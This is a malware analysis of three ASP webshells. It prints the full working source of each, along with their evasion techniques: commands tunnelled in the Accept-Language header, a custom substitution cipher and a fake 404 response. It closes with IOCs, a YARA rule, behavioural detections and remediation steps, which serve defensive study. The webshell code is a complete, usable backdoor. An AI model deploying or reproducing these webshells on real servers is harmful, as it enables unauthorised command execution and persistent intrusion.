Skip to main content

Webshell Variants Overview

Three ASP webshell variants were identified, ranging from sophisticated obfuscation to simple command execution:
VariantEncodingLines of CodeSophistication
m0s.aspCustom decode function43High
webshell.aspNone19Low
file.aspNone18Low

m0s.asp - Primary Webshell with Obfuscation

Full Source Code

<% 
Function Decode(inputString)
    Dim en, de, outputString, i, char
    en = "AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/"
    de = "Qk3\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5hBDn4.prWAHmIZ"
    outputString = ""
    For i = 1 To Len(inputString)
        char = Mid(inputString, i, 1)
        Dim index
        index = InStr(de, char)
        
        If index > 0 Then
            outputString = outputString & Mid(en, index, 1)
        Else
            outputString = outputString & char
        End If
    Next
    
    Decode = outputString
End Function
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
Dim acceptLanguage
acceptLanguage = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
If acceptLanguage <> "" Then

Dim result
result = Decode(acceptLanguage)
thisDir = getCommandOutput("cmd /c" & result)
Response.Write(thisDir)
Else 
    Response.Status = "404 Not Found"
    Response.End 
End If 
%>

Decode Function Analysis

The Decode() function reverses the encoding applied by the Python C2 scripts:
Function Decode(inputString)
    Dim en, de, outputString, i, char
    en = "AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/"
    de = "Qk3\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5hBDn4.prWAHmIZ"
    outputString = ""
    For i = 1 To Len(inputString)
        char = Mid(inputString, i, 1)
        Dim index
        index = InStr(de, char)
        
        If index > 0 Then
            outputString = outputString & Mid(en, index, 1)
        Else
            outputString = outputString & char
        End If
    Next
    
    Decode = outputString
End Function
How it works:
  1. Takes encoded string as input
  2. For each character, finds its position in the substitution alphabet (de)
  3. Replaces it with the character at the same position in the original alphabet (en)
  4. Returns decoded plaintext command
Example flow:
  • Python C2 encodes whoami??? (encoded)
  • ASP webshell receives encoded string in Accept-Language header
  • Decode() reverses substitution → whoami
  • Command executed via cmd /c whoami

Command Execution Mechanism

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
Execution flow:
  1. Creates WScript.Shell COM object
  2. Calls .exec() method with command string
  3. Reads entire stdout output
  4. Returns output to caller

Request Handling Logic

Dim acceptLanguage
acceptLanguage = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
If acceptLanguage <> "" Then
    Dim result
    result = Decode(acceptLanguage)
    thisDir = getCommandOutput("cmd /c" & result)
    Response.Write(thisDir)
Else 
    Response.Status = "404 Not Found"
    Response.End 
End If
Stealth features:
  • Extracts command from HTTP_ACCEPT_LANGUAGE server variable
  • Only executes if header is present and non-empty
  • Returns 404 error if no command provided (appears as broken page)
  • Immediately ends response on 404 to avoid revealing code

COM Objects Created

Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Three COM objects are instantiated but only WScript.Shell is actively used:
  • WSCRIPT.SHELL - Used for command execution
  • WSCRIPT.NETWORK - Network operations (unused in this code)
  • Scripting.FileSystemObject - File operations (unused in this code)
The unused objects suggest this may be a modified version of a larger webshell framework.

webshell.asp - Simplified Version

Full Source Code

<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
Dim acceptLanguage
acceptLanguage = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
If acceptLanguage <> "" Then
thisDir = getCommandOutput("cmd /c" & acceptLanguage)
Response.Write(thisDir)
Else
    Response.Status = "404 Not Found"
    Response.End
End If %>

Key Differences from m0s.asp

Removed features:
  • No Decode() function - commands transmitted in plaintext
  • No encoding/decoding logic
  • More compact code (19 lines vs 43 lines)
Identical features:
  • Same COM object initialization
  • Same getCommandOutput() function
  • Same header-based command reception
  • Same 404 stealth mechanism
Use case:
  • Backup webshell for when encoding is not needed
  • Used by RCE4.py which doesn’t implement encoding
  • Simpler deployment with less code to detect

file.asp - Minimal Webshell

Full Source Code

<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
Dim acceptLanguage
acceptLanguage = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
If acceptLanguage <> "" Then
thisDir = getCommandOutput("cmd /c" & acceptLanguage)
Response.Write(thisDir)
Else
Response.Status = "404 Not Found"
Response.End
End If %>

Analysis

Differences from webshell.asp:
  • Minor formatting differences (whitespace, indentation)
  • Functionally identical to webshell.asp
  • 18 lines vs 19 lines (negligible difference)
Purpose:
  • Possibly a renamed copy for redundancy
  • May be deployed to different directories for backup access
  • Provides multiple entry points if one webshell is discovered

Security Analysis

Attack Surface

All three webshells enable:
  • Arbitrary command execution via cmd /c
  • Full system access under IIS application pool identity
  • Persistent backdoor access
  • Potential for lateral movement
  • Data exfiltration capabilities

Privilege Context

Commands execute with the privileges of the IIS application pool identity, typically:
  • IIS APPPOOL\DefaultAppPool (limited)
  • NETWORK SERVICE (medium)
  • SYSTEM (if misconfigured - critical)

Evasion Techniques

  1. HTTP Header Tunneling
    • Commands in Accept-Language header (unusual but valid)
    • Evades POST/query string inspection
  2. 404 Error Simulation
    • Returns 404 when accessed without command
    • Appears as broken/missing page to casual inspection
  3. Custom Encoding (m0s.asp only)
    • Obfuscates command payloads
    • Reduces signature-based detection
  4. File Extension Masquerading
    • .phto extension (m0s.phto on flydubai.com)
    • Deployed in image/upload directories
    • Blends with legitimate content

Detection and Response

File-based IOCs

Filenames:
- m0s.asp / m0s.aspx / m0s.phto / m0s.php
- webshell.asp
- file.asp

Content signatures:
- Server.CreateObject("WSCRIPT.SHELL")
- Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
- getCommandOutput function definition
- Decode function with specific alphabet strings

YARA Rule Concepts

rule ASP_Webshell_M0s {
    strings:
        $decode_func = "Function Decode(inputString)"
        $alphabet_en = "AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/"
        $alphabet_de = "Qk3\\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5hBDn4.prWAHmIZ"
        $accept_lang = "Request.ServerVariables(\"HTTP_ACCEPT_LANGUAGE\")"
        $wscript = "CreateObject(\"WScript.Shell\")"
    condition:
        3 of them
}

Behavioral Detection

Process monitoring:
Parent: w3wp.exe (IIS worker process)
Child: cmd.exe /c [command]
Alert: IIS spawning cmd.exe via WScript.Shell
Network monitoring:
Alert on:
- GET requests with non-standard Accept-Language values
- Responses from .asp/.aspx files in image directories
- HTTP responses containing command-line output patterns

Remediation Steps

  1. Immediate containment:
    • Take affected server offline or isolate network segment
    • Terminate IIS application pool
    • Block network access to identified webshell URLs
  2. Investigation:
    • Review IIS logs for Accept-Language header anomalies
    • Check file creation timestamps for webshells
    • Identify initial access vector (file upload, RCE, etc.)
    • Search for additional webshells with similar patterns
  3. Eradication:
    • Delete all identified webshell files
    • Patch vulnerabilities used for initial access
    • Review and remove any created user accounts
    • Check for persistence mechanisms (scheduled tasks, services)
  4. Recovery:
    • Restore from clean backup if available
    • Rebuild server if compromise is extensive
    • Reset all credentials with access to affected systems
    • Update WAF/IPS rules to block similar attacks

Build docs developers (and LLMs) love